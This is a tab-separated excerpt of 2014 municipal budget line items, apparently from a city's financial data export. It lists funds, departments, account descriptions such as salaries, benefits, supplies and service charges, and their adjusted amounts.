11070	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	25264.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25264.0
11071	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	209.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	209.0
11072	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	1030.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1030.0
11073	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	7880.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7880.0
11074	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	450.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	450.0
11075	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	24477.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24477.0
11076	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	204.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	204.0
11077	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	408000.0	INTERFUND SERVICES-PKG OPS	612.0	Charges for Service	2014	-2184702.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2184702.0
11078	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	555210.0	TRAINING	816.0	 Supplies and Expenses	2014	4875.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4875.0
11079	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522116.0	UTIL-LIGHT/POWER-CIVIC PARKING	804.0	 Supplies and Expenses	2014	79629.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	79629.0
11080	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2014	46172.0	0	0	0	9324.0	637	-306.0	0	0	0	0	0.0	55827.0
11081	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	9277.0	0	0	0	0.0	125	0.0	0	0	0	0	0.0	9402.0
11082	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	44627.0	0	0	0	0.0	557	0.0	0	0	0	0	0.0	45184.0
11083	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	8767.0	0	0	0	0.0	123	38.0	0	0	0	0	0.0	8928.0
11084	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	16544.0	0	0	0	0.0	185	0.0	0	0	0	0	0.0	16729.0
11085	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	33732.0	0	0	0	0.0	0	0.0	0	0	447	0	0.0	34179.0
11086	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	229911.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	229911.0
11087	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400850.0	SWIM CENTER-SMC	612.0	Charges for Service	2014	-345000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-345000.0
11088	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401003.0	SWIM CENTER-SWIM PASSES	612.0	Charges for Service	2014	-227623.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-227623.0
11089	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	408000.0	INTERFUND SERVICES-POLICE OSE	612.0	Charges for Service	2014	-1171649.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1171649.0
11090	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400660.0	TECHNOLOGY ENHANCEMENT FEE	612.0	Charges for Service	2014	-273105.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-273105.0
11091	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	1452.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1452.0
11092	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	2236.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2236.0
11093	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561402.0	CLINICAL SUPERVISION		 Supplies and Expenses	2014	7385.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7385.0
11094	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	400940.0	CDBG CURRENT ALLOCATION	610.0	Intergovernmental	2014	-995441.0	0	0	0	0.0	0	0.0	995441	0	0	0	0.0	0.0
11095	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	33074.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	33074.0
11096	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	44528.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	44528.0
11097	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	1482.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1482.0
11098	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE	810.0	Salaries and Wages	2014	997.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	997.0
11099	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	8020.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8020.0
11100	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		EAP	804.0	Salaries and Wages	2014	818.0	0	0	0	0.0	0	0.0	104	0	0	0	0.0	922.0
11101	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	4750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4750.0
11102	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	10200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10200.0
11103	B1	IS	55	Info Tech Rplcmnt & Svcs Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	407250.0	TELECOMMUNICATIONS SERVICES	650.0	Charges for Service	2014	-530924.0	0	0	0	0.0	0	4667.0	0	0	0	0	0.0	-526257.0
11104	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	999047.0	0	0	0	0.0	14639	-29.0	0	0	0	0	0.0	1013657.0
11105	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	144211.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	144211.0
11106	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	17343.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17343.0
11107	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	64925.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	64925.0
11108	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	8000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8000.0
11109	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
11110	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	33000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	33000.0
11111	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	76.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	76.0
11112	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401490.0	RECYCLE LEASE RENTAL	650.0	Charges for Service	2014	-56600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-56600.0
11113	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401580.0	RECYCLED MATERIALS	662.0	Other	2014	-405400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-405400.0
11114	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407400.0	STATE RECYCLING PROGRAM	662.0	Other	2014	-44500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-44500.0
11115	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544860.0	SUMMER FOOD SERVICE	810.0	 Supplies and Expenses	2014	22045.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22045.0
11116	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		EAP	816.0	Salaries and Wages	2014	1879.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1879.0
11117	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2014	2852.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2852.0
11118	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400980.0	SURF & SAND APPLICATION FEE	612.0	Charges for Service	2014	-51250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-51250.0
11119	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555010.0	CONTRACTUAL SERVICES	806.0	 Supplies and Expenses	2014	278050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	278050.0
11120	B1	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	406590.0	DA CULT ARTS IN LIEU FEE	612.0	Charges for Service	2014	-370628.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-370628.0
11121	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511748.0	DENTAL	808.0	Salaries and Wages	2014	24225.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24225.0
11122	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		EAP	808.0	Salaries and Wages	2014	2915.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2915.0
11123	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2014	119417.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	119417.0
11124	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		UNEMPLOYMENT		Salaries and Wages	2014	2807.0	0	0	0	0.0	61	0.0	0	0	0	0	0.0	2868.0
11125	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2014	12625.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12625.0
11126	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522720.0	MILEAGE	820.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
11127	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
11128	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2014	3436.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3436.0
11129	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	407240.0	TRANS MGMT BLDG PLAN CHECK	612.0	Charges for Service	2014	-129353.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-129353.0
11130	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	405670.0	HBP-FHWA PIER BRIDGE	610.0	Intergovernmental	2014	-750000.0	0	0	0	-309655.0	0	0.0	0	0	0	0	0.0	-1059655.0
11131	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-3829.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3829.0
11132	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-11084.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-11084.0
11133	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-36758.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-36758.0
11134	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-9598.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9598.0
11135	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	-32009.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-32009.0
11136	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	-104660.0	0	0	0	0.0	-20535	-3711.0	0	0	0	0	0.0	-128906.0
11137	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-9364.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9364.0
11138	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2014	-2578.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2578.0
11139	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-8479.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-8479.0
11140	B1	IS	43	Gas Tax Fund	500	PUBLIC WORKS	402	ENGINEERING	400860.0	ST GAS TAX APPORTIONMENT	610.0	Intergovernmental	2014	-2395940.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2395940.0
11141	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402780.0	CASKET SALES	650.0	Charges for Service	2014	-100891.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-100891.0
11142	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556190.0	MISC SERVICES/SALES	808.0	 Supplies and Expenses	2014	34300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	34300.0
11143	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404081.0	INTEREST - PROP 1B-SECURITY	659.0	Investment Income	2014	-10858.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10858.0
11144	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	407930.0	GARDENSOFT WEBSITE PARTNR FUND	612.0	Charges for Service	2014	-7500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-7500.0
11145	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	407940.0	GREEN BUILDING	612.0	Charges for Service	2014	-187425.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-187425.0
11146	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	1700383.0	0	0	0	0.0	24847	-4.0	0	0	0	0	0.0	1725226.0
11147	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511748.0	DENTAL	808.0	Salaries and Wages	2014	16719.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16719.0
11148	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		EAP	808.0	Salaries and Wages	2014	1566.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1566.0
11149	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
11150	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2014	1568.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1568.0
11151	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	556010.0	UTILITY CONTRACTS	804.0	 Supplies and Expenses	2014	273166.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	273166.0
11152	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2014	46469.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	46469.0
11153	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	10364.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10364.0
11154	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	810.0	 Supplies and Expenses	2014	76030.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	76030.0
11155	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	187274.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	187274.0
11156	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	278.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	278.0
11157	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
11158	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	541850.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	541850.0
11159	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	1350.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1350.0
11160	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	850.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	850.0
11161	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	34360.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	34360.0
11162	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	-72.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-72.0
11163	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	417.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	417.0
11164	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	1326.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1326.0
11165	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	24007.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24007.0
11166	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	417.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	417.0
11167	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	216.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	216.0
11168	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
11169	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2014	700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	700.0
11170	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2014	-15055.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-15055.0
11171	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	22595.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22595.0
11172	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	126782.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	126782.0
11173	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	5101.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5101.0
11174	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	1280.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1280.0
11175	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2014	4250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4250.0
11176	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	630.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	630.0
11177	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	12088.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12088.0
11178	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	20100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20100.0
11179	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	76815.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	76815.0
11180	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	276.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	276.0
11181	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	29463.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29463.0
11182	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	1764.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1764.0
11183	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
11184	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	3651.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3651.0
11185	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	2018.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2018.0
11186	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2014	775.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	775.0
11187	B1	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577040.0	AUDIT FEES	804.0	 Supplies and Expenses	2014	6424.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6424.0
11188	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556110.0	DECEDENT TRANSPORTION		 Supplies and Expenses	2014	8000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8000.0
